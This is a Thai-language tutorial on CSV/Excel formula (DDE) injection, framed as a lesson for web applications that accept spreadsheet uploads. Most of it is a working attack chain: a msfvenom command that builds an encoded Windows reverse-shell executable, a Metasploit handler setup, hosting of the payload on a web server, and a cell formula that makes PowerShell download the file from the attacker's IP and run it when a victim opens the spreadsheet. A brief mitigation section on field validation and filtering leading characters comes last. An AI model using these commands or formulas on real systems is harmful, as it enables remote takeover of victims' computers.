ในการตรวจสอบข้อมูลเข้าของระบบโดยเฉพาะอย่างยิ่ง ไฟล์ที่ถูก Upload อย่างจำพวก Spread sheet ที่ซึ่งสามารถประมวลผลข้อมูลโดยใช้คำสั่งภายนอกได้นั้น จำเป็นต้องมีการบรรเทาความเสี่ยงที่อาจเกิดขึ้นเมื่อผู้ใช้งานสามารถดาวน์โหลดไฟล์ดังกล่าวไปใช้งานต่อไป โดยบทความนี้แสดงให้เห็นถึงวิธีการสร้าง Reverse shell และติดต่อกลับไปยังผู้โจมตีโดยผ่าน Excel ไฟล์ดังต่อไปนี้
ขั้นตอน (Steps)
สร้าง Windows Reverse shell
- ติดตั้ง Kali linux
- เราสามารถสร้าง Windows Reverse shell เพื่อใช้สำหรับติดตั้งบนเครื่องเหยื่อให้ติดต่อกลับมาหาเราได้ โดยใช้คำสั่งดังนี้ (โดนที่ IP และ Port เป็นของ Attacker)
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.46 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o shell.exe
- จากนั้นที่เครื่องผู้โจมตี จะต้องตั้ง Listener เพื่อให้เหยื่อใด ๆ ที่เปิดไฟล์ Excel สามารถติดต่อกลับเพื่อเชื่อมต่อกันได้ดังนี้
msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.46 set LPORT 4444 set ExitOnSession false exploit -j -z
การเผยแพร่ Reverse shell ผ่าน Web server
- เปิดใช้งาน Web server โดยใช้คำสั่ง
service apache2 start
- แล้วนำ Shell.exe ที่เราสร้างเอาไปไว้ที่ /var/www/html
- ทดลองเรียกผ่าน Web browser ว่าสามารถ Download ได้หรือไม่
การเรียกใช้งาน Windows command ผ่าน Excel/CSV
- โดยปกติเราสามารถเรียกใช้โปรแกรมใด ๆ ที่ติดตั้งอยู่บน Windows โดยใช้คำสั่งดังนี้ โดยกรอกลงบนช่อง Excel (จากตัวอย่างเรียกใช้งานโปรแกรมเครื่องคิดเลข)
=cmd|' /C calc'!A1
- จากนั้นเราจะประยุกต์ใช้ Powershell เพื่อ Download โปรแกรม shell.exe ของที่อยู่ Web server ที่เราได้ตั้งเอาไว้แล้ว และเรียกใช้งานมันโดยใช้คำสั่ง
=cmd|' /C powershell Invoke-WebRequest "http://192.168.1.46/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!'A1'
- เมื่อเหยื่อเปิด Excel โปรแกรม Shell.exe จะถูก Download และ Execute ทันที ให้ตรวจสอบที่ Listener ที่เราได้ตั้งเอาไว้ จะพบว่าสามารถควบคุมเครื่องเหยื่อได้เช่นกัน (อย่างไรก็ shell.exe อาจจะถูกลบโดยโปรแกรม Antivirus)
show sessions sessions 1
วิธีแก้ปัญหาสำหรับ Web application
ในกรณี Web application ให้บริการ Upload ไฟล์ จะต้องมีการ
- ตรวจสอบ Format ของข้อมูลนำเข้าเสียก่อน คือ มีจำนวน Filed ที่ต้องการ และในแต่ละ Field ทีประเภทข้อมูลที่ถูกต้อง (Field Type)
- ลดความเสี่ยงโดยอ่านข้อมูลในแต่ Field และกรองอักขระพิเศษดังนี้
- Equals to (“=”)
- Plus (“+”)
- Minus (“-“)
- At (“@”)
อ้างอิง